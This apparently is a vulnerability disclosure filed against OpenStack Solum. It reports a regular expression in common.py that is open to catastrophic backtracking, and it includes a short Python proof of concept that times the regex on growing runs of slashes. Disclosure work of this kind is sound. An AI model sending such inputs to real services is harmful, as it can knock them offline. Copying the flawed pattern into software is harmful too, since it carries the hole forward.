Redos in at common.py#L20

[lujiefsi]

Please check this website( https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) for the basic concept of redos.

vulnerable regex is at https://github.com/openstack/solum/blob/42575ef1316983e4d48b89ecf9d8a71e899f18db/solum/api/handlers/common.py#L20

poc is here:

```

import re
import datetime

pt = re.compile(r'^(http://|https://|git@)(.+)(/|:/)(.+)(.+)(\.git)')
def split(x):
  data = 'https://git' + '/' * x
  starttime = datetime.datetime.now()
  pt.search(data)
  endtime = datetime.datetime.now()
  print ("string length = " + str(x) + " time cost=" + str((endtime - starttime).seconds) + " seconds")

split(3)
split(30)
split(300)
split(3000)
```